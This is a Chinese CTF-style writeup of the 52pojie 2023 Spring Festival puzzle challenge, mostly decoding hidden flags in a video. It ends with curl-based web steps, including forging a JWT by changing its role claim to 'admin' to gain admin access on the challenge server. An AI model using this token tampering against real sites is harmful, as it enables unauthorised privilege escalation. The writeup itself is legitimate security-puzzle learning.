【2023】吾爱春节红包web题writeup
# 吾爱春节web题writeup这次吾爱的web题很接近ctf,大部分题难度不大,萌新友好
> 原视频:[吾爱破解【2023春节】解题领红包之Web题\_哔哩哔哩\_bilibili](https://www.bilibili.com/video/BV123411R7K6/)
## flag1
明牌
`flag1{52pojiehappynewyear}`
## flag2
直接扫这个二维码
得到链接:`https://2023challenge.52pojie.cn/?flag=flag2{878a48f2}`
可以看到flag2就在参数里
`flag2{878a48f2}`
## flag3
视频00:26右下角
吾爱破解logo变成了以下字符串:
`iodj3{06i95dig}`
字符串形似flag,考虑iodj各前移3个字母正好是flag,可推断其为凯撒密码加密,偏移量3,数字和符号不位移
由此,可得flag3
`flag3{06f95afd}`
## flag4
留意到视频制作者b站的个性签名
base64解码,得到flag4
`flag4{9cb91117}`
## flag5
视频00:30-00:38有发电报声,考虑摩尔斯电码
听译内容:FLAG5EAIT
补上{}即可得出flag5
`flag5{eait}`
## flag6
在视频开头几秒,很容易能听出是拨号音
根据知乎大佬 https://www.zhihu.com/question/19780683/answer/12940239 的讲解,按键音对应频率如下表(横行频纵列频,单位Hz)
| | 1209 | 1336 | 1477 | 1633 |
| :--: | :--: | :--: | :--: | :--: |
| 697|1 |2 |3 |A |
| 770|4 |5 |6 |B |
| 852|7 |8 |9 |C |
| 941|* |0 |# |D |
导入au,查看频率,可得flag6
`flag6{590124}`
## flag7
视频00:22-00:27的上方跑过一串二进制数字,共计120位,考虑是ascii的二进制表示
打开网站:(http://c.biancheng.net/c/ascii/)
按照8位一组给那串二进制数字分段,如下:
```
01100110 f
01101100 l
01100001 a
01100111 g
00110111 7
01111011 {
00110101 5
01100100 d
00110000 0
00110110 6
01100010 b
01100101 e
00110110 6
00110011 3
01111101 }
```
由此得出flag7
`flag7{5d06be63}`
## flag8
藏在音频中
打开au,导入音频,显示频谱,可得flag
`flag8{c394d7}`
## flag9
视频最后几秒有杂音,怀疑是音频倒放
au导入,效果-反向
可以听到flag9
`flag9{21c5f8}`
## flag10
这个真不知道,没对上脑电波,期待大佬讲解。
## flag11
留意到视频00:31下方有这样的字符串:
`++++++++++[>++++++++++>++++++++++>+++++>++++++++++++<<<<-]>++.++++++.>---.<-----.>>-..>+++.<+++++.---.+.---.+++++++.<+++.+.>-.>++.`
查了下资料,这种加密方式叫做brain fuck
百度找到解码网站:(https://www.splitbrain.org/services/ook)
粘贴,解码,得到flag11
`flag11{63418de7}`
## flag12
视频背景联想到是盲水印,但尝试调图层色调什么的没找到,后来看其他人的解析知道是傅里叶变换。
## flagA
视频中提到了一个网址
https://2023challenge.52pojie.cn
但无法通过浏览器访问
尝试nslookup,发现没有A和AAAA记录
```bash
C:\Users\zxq\Downloads>nslookup 2023challenge.52pojie.cn
服务器:UnKnown
Address:fe80::a639:b3ff:fe73:fec3
*** 没有 2023challenge.52pojie.cn 可以使用的 internal type for both IPv4 and IPv6 Addresses (A+AAAA)记录
```
根据视频提示,该站点和吾爱主站是同一台服务器,因此可以直接nslookup主站,然后改hosts即可访问。
但这题的题眼在请求头和响应头里,用浏览器不是太方便,因此以下用的是curl
> 如何在不修改host的情况下使用curl请求没有dns记录的网站(即自定义名称解析):
>
> 给curl加参数`--resolve=url:port:ip`,如本题加的参数为`--resolve 2023challenge.52pojie.cn:443:124.232.185.97`
>
> 来源:https://zhuanlan.zhihu.com/p/424679851
下面开始正题:
首先尝试获取网页
```bash
curl -v https://2023challenge.52pojie.cn --resolve 2023challenge.52pojie.cn:443:124.232.185.97
```
可以留意到响应头内有这么一句:
```
< X-Dynamic-Flag: flagA{Header X-52PoJie-Uid Not Found}
```
这里在暗示我们,该请求需要加请求头`X-52PoJie-Uid`
让我们加上(这里以我的uid722361为例),再试一次
```bash
curl -H "X-52PoJie-Uid: 722361" -vhttps://2023challenge.52pojie.cn --resolve 2023challenge.52pojie.cn:443:124.232.185.97
```
可以看到响应头变成了这个(该条为2023-1-30 0:00获取 注意有效期):
```
< X-Dynamic-Flag: flagA{a1d29312} ExpiredAt: 2023-01-30T00:10:00+08:00
```
由此,可得flagA
## flagB
视频中提到的网址https://2023challenge.52pojie.cn无法通过浏览器访问
尝试nslookup,发现没有A和AAAA记录
```bash
C:\Users\zxq\Downloads>nslookup 2023challenge.52pojie.cn
服务器:UnKnown
Address:fe80::a639:b3ff:fe73:fec3
*** 没有 2023challenge.52pojie.cn 可以使用的 internal type for both IPv4 and IPv6 Addresses (A+AAAA)记录
```
想到了(https://github.com/ustclug/hackergame2019-writeups/blob/master/official/Happy_LUG/README.md)
尝试查询txt记录,有了答案
```bash
C:\Users\zxq\Downloads>nslookup -qt=txt 2023challenge.52pojie.cn
服务器:UnKnown
Address:fe80::a639:b3ff:fe73:fec3
非权威应答:
2023challenge.52pojie.cn text =
""_52pojie_2023_happy_new_year=flagB{substr(md5(uid+\"_happy_new_year_\"+floor(timestamp/600)),0,8)}""
```
提取关键信息:
`flagB{substr(md5(uid+\"_happy_new_year_\"+floor(timestamp/600)),0,8)}`
可以看到flagB由一串字符的md5的前八位组成,这串字符由三部分组成:论坛uid,字符串"\_happy_new_year\_",当前时间戳除以600向下取整的值(这一点证明该串仅在10分钟内有效)
以本人(uid:722361)写文章的时刻(2023-01-29 16:16:16)为例,这串字符为:`722361_happy_new_year_2791633`
这里给出生成flagB的Python代码:
```python
import hashlib
import time
uid = input('input uid: ')
a = '_happy_new_year_'
b = str(int(time.time())//600)
c = uid + a + b
d = hashlib.md5(c.encode('utf-8')).hexdigest()
print('flagB{' + d + '}')
```
## flagC
这题与其用浏览器,还是curl解起来更方便/doge
话不多说,直接开干
```bash
curl -v https://2023challenge.52pojie.cn/login --resolve 2023challenge.52pojie.cn:443:124.232.185.97
```
可以看到返回的网页结构如下(为方便展示做格式化处理):
```html
<form method="POST">
吾爱破解 UID:
<input type="text" name="uid" disabled>
<input type="submit">
</form>
```
那么就能知道,直接向这个地址POST我的UID就可以了
```bash
curl -v https://2023challenge.52pojie.cn/login -X POST -d 'uid=722361' --resolve 2023challenge.52pojie.cn:443:124.232.185.97
```
截取关键响应头信息如下:
```
< HTTP/1.1 302 Found
......
< Location: /home
< Set-Cookie: 2023_challenge_jwt_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOiI3MjIzNjEiLCJyb2xlIjoidXNlciJ9.PrrMxyc9Ya2xXM5lclYK_bva9CQQWRIS65tm_y1Qt_k; max-age=600; domain=2023challenge.52pojie.cn; path=/; HttpOnly; SameSite=Strict
```
可以看到他Set了一个名为`2023_challenge_jwt_token`的cookie,然后一个302跳转到网站的home目录
接下来带着这个cookie访问home目录:
```bash
curl -v https://2023challenge.52pojie.cn/home -H "Cookie: 2023_challenge_jwt_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOiI3MjIzNjEiLCJyb2xlIjoidXNlciJ9.PrrMxyc9Ya2xXM5lclYK_bva9CQQWRIS65tm_y1Qt_k" --resolve 2023challenge.52pojie.cn:443:124.232.185.97
```
网站响应:您不是 admin,你没有权限获取 flag
问题不大/doge
百度搜索了下jwt,发现一篇讲解文章:https://www.jianshu.com/p/fa957f32806a#1675008862151
其由三部分组成,每个部分都是base64编码的,且服务器不存储这个token,那么就存在改变token内容的可能性
找到可以解码jwt的网站:https://jwt.io,把得到的jwt粘进去
很明显,`"role": "user"`引起了我的兴趣
果断改成admin,编码回jwt,粘贴到curl里,重新请求
```bash
curl -v https://2023challenge.52pojie.cn/home -H "Cookie: 2023_challenge_jwt_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOiI3MjIzNjEiLCJyb2xlIjoiYWRtaW4ifQ.kekv_gBSrBrkiBK7oKV0OGq0ytoHeicoSLUhkAvEaLw" --resolve 2023challenge.52pojie.cn:443:124.232.185.97
```
服务器响应:欢迎,admin。您的 flag 是 flagC{8aa7da1b},过期时间是 2023-01-30T00:50
很明显,拿下flagC(注意过期时间,三个动态flag均为整10分钟时刻过期) 补充一波:
Flag10 和 Flag7出自同一个地方,就是上方那堆二进制数字(访问网站直接Ctrl+u有惊喜)
FlagB 可以直接百度 DNS解析记录 把域名放上去即可访问
网站访问可以直接通过改本地hosts文件,即可在浏览器内实现访问 挺有意思的,感觉成了解谜游戏了,今年过年比较忙,我都没怎么看这些题,我还以为web题又要死磕js逆向了 这flagC 我没去查这个JWT的东东,直接BASE64解密出来明文,然后加密,怎么提交都通不过....原来是要专用工具才行啊.... 感觉要变特工了 学习来了 偷偷学习,一鸣惊人 哈哈哈 666 对音频之类的题目感到很难受,多谢大佬分享 我还以为flaga直接那样交就行,我去。这次密码学没考很难,希望明年出点rsa算法的题目。 偷偷变强大